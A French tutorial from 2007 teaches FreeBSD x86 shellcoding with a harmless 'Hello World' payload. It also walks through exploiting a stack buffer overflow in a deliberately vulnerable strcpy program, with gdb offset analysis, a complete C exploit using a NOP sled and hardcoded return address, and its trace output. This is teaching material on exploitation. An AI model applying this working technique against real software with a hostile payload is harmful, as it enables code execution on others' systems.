(en cours de relecture)
Après avoir lu les tutos de jfg, je vous propose de vous initier brièvement au shellcoding sous FreeBSD. Ici, nous aurons à faire à un simple shellcode qui affiche “Hello World!”, vous pourrez trouver de “vrai” shellcodes (c-a-d qui lancent un shell) sur le ternet.. Le but ici étant de vous familiariser avec l'assembleur sous FreeBSD.
Lors de ce tuto, j'utilise uniquement la syntaxe Intel™ (NASM toussa) dans le premier 'Hello World' pour vous aider à le comparer avec celui donné dans le tuto de jfg. Le reste est écrit en syntaxe Unix (AT&T) (AS toussa) car étant ma syntaxe de préférence. J'en rappelle brièvement la plus grosse différence :
(Intel / NASM) MOV EAX,4 (instruction destination source) (AT&T / AS) MOVL $0x4,%EAX (instruction source destination)
Voici donc un Hello World de tout ce qu'il y a de plus classique, mais pour FreeBSD :
section .text global _start _start: mov eax,0 ; mise à zero du registre EAX push dword strlen ; arg 3 : la longueur de la chaîne push dword string ; arg 2 : la chaîne de caractères push dword 1 ; arg 1 : la sortie (STDOUT) mov eax,4 ; syscall : 4 (write) push eax ; envoi d'EAX dans la stack call 7:0 ; appel du kernel add esp,12 ; nettoyage de la stack : incrémente ESP de 4*nb arg = 4*3 = 12 push dword 0 ; arg 1 : valeur de exit(0) mov eax,1 ; syscall : 1 (exit) push eax ; envoi d'EAX dans la pile call 7:0 ; appel kernel section .data string db "Hello World!",0x0a ; Hello World!\n strlen equ $ - string ; longueur
Ce que vous pouvez remarquer :
directement les arguments dans la stack (et dans le sens inverse). (rajout jfg: oui enfin utiliser les registres pour passer des arguments c'est un peu vieux, et sous linux on utilise aussi la stack, cf partie II et III)
Si on s'intéresse au résultat :
$ nasm -f elf hello.s $ ld -o hello hello.o $ ./hello Hello World! $
On se permet de vérifier le code désassemblé
$ objdump -d hello hello: file format elf32-i386-freebsd Disassembly of section .text: 08048080 <_start>: 8048080: b8 00 00 00 00 mov $0x0,%eax 8048085: 68 0d 00 00 00 push $0xd 804808a: 68 bc 90 04 08 push $0x80490bc 804808f: 68 01 00 00 00 push $0x1 8048094: b8 04 00 00 00 mov $0x4,%eax 8048099: 50 push %eax 804809a: 9a 00 00 00 00 07 00 lcall $0x7,$0x0 80480a1: 81 c4 0c 00 00 00 add $0xc,%esp 80480a7: 68 00 00 00 00 push $0x0 80480ac: b8 01 00 00 00 mov $0x1,%eax 80480b1: 50 push %eax 80480b2: 9a 00 00 00 00 07 00 lcall $0x7,$0x0 $
Et pour finir l'on vérifie l'execution du code avec le doublet ktrace(1)/kdump(1) (sous linux c'est strace):
$ ktrace ./hello Hello World! $ kdump 12951 ktrace RET ktrace 0 12951 ktrace CALL execve(0xbfbfedbb,0xbfbfece0,0xbfbfece8) 12951 ktrace NAMI "./hello" 12951 hello RET execve 0 12951 hello CALL write(0x1,0x80490bc,0xd) 12951 hello GIO fd 1 wrote 13 bytes "Hello World! " 12951 hello RET write 13/0xd 12951 hello CALL exit(0)
Nous voyons que l'appel à write est correctement effectué (0xd = 13 et 0x80490bc correspond à l'adresse de la chaine)
C'est bien beau de faire un Hello World mais il y a quelques manip' à faire pour s'assurer de son execution dans un programme en C.
Le point bloquant ici est qu'il y a de nombreux bits nuls qui vont poser problème lors de l'execution de la chaine.. Il faut donc les éliminer..
Reprenons le dernier objdump…
Attention on est en AT&T maintenant !!
pour mettre à zero un registre, une astuce consiste à utiliser xor (ou exclusif) b8 00 00 00 00 mov $0x0,%eax cette instruction devient xor %eax, %eax L'instruction lcall peut être remplacée avantageusement par int $0x80 comme sous Linux 9a 00 00 00 00 07 00 lcall $0x7,$0x0 Autre astuce ici, seuls les 8bits du registre AL peuvent être modifiés ! b8 01 00 00 00 mov $0x1,%eax devient donc mov $0x1,%al
On peut aussi se débrouiller pour hardcoder la chaine “Hello World!\n” en code ASCII afin d'eviter les calls…
Au final nous obtenons :
xorl %eax,%eax /* mise à zero d'EAX */ pushl $0x0a /* \n */ pushl $0x21646c72 /* !dlr */ pushl $0x6f57206f /* oW o */ pushl $0x6c6c6548 /* lleH */ movl %esp,%ebx /* nous sauvegardons l'addresse de la chaine dans EBX */ pushl $0xd /* arg 3 : len(str) = 13 */ pushl %ebx /* arg 2 : HelloWorld!\n00 */ pushl $0x1 /* arg 1 : STDOUT */ mov $0x4,%al /* registre AL (premiers 8bits d'EAX), sys_write : 4 */ pushl %eax /* envoi EAX dans la stack avant l'appel kernel */ int $0x80 /* appel kernel */ addl $0xc,%esp /* nettoyage de la stack */ xorl %eax,%eax /* reset EAX */ pushl %eax /* arg 1 = 0 */ mov $0x1,%al /* sys_exit */ pushl %eax /* envoi EAX dans la stack */ int $0x80 /* exécute */
C'est beau lutin ? D'autant plus en voyant cela :
hello: file format elf32-i386-freebsd Disassembly of section .text: 08048074 <.text>: 8048074: 31 c0 xor %eax,%eax 8048076: 6a 0a push $0xa 8048078: 68 72 6c 64 21 push $0x21646c72 804807d: 68 6f 20 57 6f push $0x6f57206f 8048082: 68 48 65 6c 6c push $0x6c6c6548 8048087: 89 e3 mov %esp,%ebx 8048089: 6a 0d push $0xd 804808b: 53 push %ebx 804808c: 6a 01 push $0x1 804808e: b0 04 mov $0x4,%al 8048090: 50 push %eax 8048091: cd 80 int $0x80 8048093: 83 c4 0c add $0xc,%esp 8048096: 31 c0 xor %eax,%eax 8048098: 50 push %eax 8048099: b0 01 mov $0x1,%al 804809b: 50 push %eax 804809c: cd 80 int $0x80
Il ne te reste plus qu'à récupérer les opcodes et à les incorporer dans ton .c :
#include <unistd.h> char shellcode[] = "\x31\xc0" "\x6a\x0a" "\x68\x72\x6c\x64\x21" "\x68\x6f\x20\x57\x6f" "\x68\x48\x65\x6c\x6c" "\x89\xe3" "\x6a\x0d" "\x53" "\x6a\x01" "\xb0\x04" "\x50" "\xcd\x80" "\x83\xc4\x0c" "\x31\xc0" "\x50" "\xb0\x01" "\x50" "\xcd\x80"; int main(void) { void (*run)()=(void *)shellcode; printf("longueur du shellcode : %d bytes\n", strlen(shellcode)); run(); return 0; }
On compile et on vérifie :
$ ktrace ./hello_shellcode longueur du shellcode : 42 bytes Hello World! $ kdump --- SNIP --- 14953 hello_shellcode CALL write(0x1,0xbfbfec5c,0xd) --- SNIP --- 14953 hello_shellcode CALL exit(0)
Bon 42 bytes c'est assez long pour un shellcode donc il est encore optimisable (par exemple enlever l'appel à exit, éviter le cleaning de la stack …)
Mais ca suffira pour la dernière partie de notre tuto :
Voici notre petit programme vulnérable :
#include <stdio.h> int main(int argc, char **argv) { char buf[256]; memset(buf, 0, sizeof buf); if (argc < 2) { fprintf(stderr, "Usage : ./vuln prout\n"); exit(0); } strcpy(buf, argv[1]); printf("buf: %s\n", buf); return 0; }
Ici, ce qui cause problème, c'est strcpy qui ne vérifie pas si la valeur entrée est plus grande ou non que le buffer alloué..
$ ./vuln Usage : ./vuln prout $ ./vuln blah buf: blah $ ./vuln `perl -e 'print "A"x300' buf: AAAAAAAAAAAA[--SNIP--]AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA segmentation fault (core dumped) ./vuln `perl -e 'print "A"x300'`
Comme vous le constatez, une trop grande valeur entrée en argument provoque un segfault.. GDB va nous aider a en savoir un peu plus …
$ gdb -core=vuln.core (gdb) i r eax 0x0 0 ecx 0x132 306 edx 0x132 306 ebx 0x2 2 esp 0xbfbfeb50 0xbfbfeb50 ebp 0x41414141 0x41414141 esi 0xbfbfeba8 -1077941336 edi 0x2804eb64 671411044 eip 0x41414141 0x41414141 eflags 0x10286 66182 cs 0x33 51 ss 0x3b 59 ds 0x3b 59 es 0x3b 59 fs 0x3b 59 gs 0x1b 27 (gdb) file vuln Reading symbols from vuln...(no debugging symbols found)...done. (gdb) disas main Dump of assembler code for function main: 0x08048560 <main+0>: push %ebp 0x08048561 <main+1>: mov %esp,%ebp 0x08048563 <main+3>: sub $0x108,%esp 0x08048569 <main+9>: and $0xfffffff0,%esp --- SNIP ---
Voila qui est intéressant : non seulement EBP est réecrit avec notre valeur (0x41 = A en hexa) mais aussi le pointeur d'adresse EIP.. (EIP est un registre qui contient l'adresse de la prochaine instruction à exécuter).
Autre chose d'intéressant : l'instruction “sub $0x108,%esp” indique la valeur réellement allouée à notre buffer “buf” par GDB.. 0x108 correspondant en hexa à 264..
Pour rappel, notre buffer ferait 264 bytes, EBP quatre de plus et ensuite se situerait EIP (encore 4bytes)
Vérifions cela :
$ ./vuln `perl -e 'print "A"x268 . "BBBB"'` ---SNIP--- $ gdb -core=vuln.core ---SNIP--- (gdb) i r ebp ebp 0x41414141 0x41414141 (gdb) i r eip eip 0x42424242 0x42424242
On commence à sentir venir les choses, car nous avons trouvé comment remplir notre tampon et entrer la valeur de retour dans EIP (“B” = 0x42).
(gdb) x/150x $esp 0xbfbfec90: 0x75762f2e 0x41006e6c 0x41414141 0x41414141 0xbfbfeca0: 0x41414141 0x41414141 0x41414141 0x41414141 --SNIP-- 0xbfbfed90: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfbfeda0: 0x42414141 0x00424242 --SNIP--
Cette valeur de retour, il “suffit” de la prendre dans le buffer que nous remplirons par des NOP (0x90) au lieu de “A”.. Cette instruction demande au processeur de ne rien faire. Le but ici est de placer notre shellcode dans cet espace de cette manière :
XXXX NOP NOP NOP NOP SHELLCODE NOP EIP XXXXX
Il nous faut donc un buffer assez grand pour entrer nos 42 bytes et c'est justement le cas.. Pour exploiter cette faille, voici un petit code C
#include <stdlib.h> #define SICK "./vuln" //chemin du programme #define NOP 0x90 //OPCODE du NOP #define BUFFERSIZE 264 //taille du buffer /* notre shellcode */ unsigned char shellcode[] = "\x31\xc0" "\x6a\x0a" "\x68\x72\x6c\x64\x21" "\x68\x6f\x20\x57\x6f" "\x68\x48\x65\x6c\x6c" "\x89\xe3" "\x6a\x0d" "\x53" "\x6a\x01" "\xb0\x04" "\x50" "\xcd\x80" "\x83\xc4\x0c" "\x31\xc0" "\x50" "\xb0\x01" "\x50" "\xcd\x80"; int main(int argc, char *argv[]) { unsigned long addr; //adresse que nous allons entrer dans EIP char ptr[BUFFERSIZE]; //buffer memset(ptr, 0, BUFFERSIZE + 8); //On s'assure que notre buffer est tout propre memset(ptr, NOP, BUFFERSIZE + 8); //Nous le remplissons de NOP /* Et ici nous copions notre shellcode */ memmove(ptr + BUFFERSIZE - strlen(shellcode), shellcode, strlen(shellcode)); /* Adresse de retour choisie qui se situe dans les NOP et avant le shellcode */ addr = 0xbfbfecb0; printf("Adresse utilisee pour remplir EIP : 0x%lx\n", addr); *(long *)&ptr[BUFFERSIZE + 4] = addr; /* Nous la plaçons juste après EBP */ printf("Envoi du shellcode !\n"); execl(SICK, "vuln injection", ptr, NULL); return 0; }
Plus qu'à compiler et à exécuter
$ ./exploit_vuln Adresse utilisee pour remplir EIP : 0xbfbfecb0 Envoi du shellcode ! buf: 1Àj Sj°PÍÄo WohHellãj 1ÀP°PͰ쿿Äì¿¿dë(xì¿¿°ì¿¿ Hello World! $
Et enfin le petit kdump nous dit :
---SNIP--- 24177 vuln GIO fd 1 wrote 231 bytes 0x0000 6275 663a 2090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 |buf: ...............................| 0x0024 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 |....................................| 0x0048 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 |....................................| 0x006c 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 |....................................| 0x0090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 |....................................| 0x00b4 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 |....................................| 0x00d8 9090 9090 9090 9090 9090 9031 c06a 0a |...........1.j.| 24177 vuln RET write 231/0xe7 24177 vuln CALL write(0x1,0x804b000,0x40) 24177 vuln GIO fd 1 wrote 64 bytes 0x0000 6872 6c64 2168 6f20 576f 6848 656c 6c89 e36a 0d53 6a01 b004 50cd 8083 c40c 31c0 50b0 0150 |hrld!ho WohHell..j.Sj...P.....1.P..P| 0x0024 cd80 9090 9090 b0ec bfbf dcec bfbf 64eb 0428 98ec bfbf b0ec bfbf 100a |..............d..(..........| 24177 vuln RET write 64/0x40 24177 vuln CALL write(0x1,0xbfbfeb60,0xd) 24177 vuln GIO fd 1 wrote 13 bytes "Hello World! " 24177 vuln RET write 13/0xd 24177 vuln CALL exit(0)
Avec le petit apercu de la pile :)
* 24/09/2007 Création du tip par hotbox
* 24/09/2007 jfg, Rajout de quelques explications et modification d'un slash :)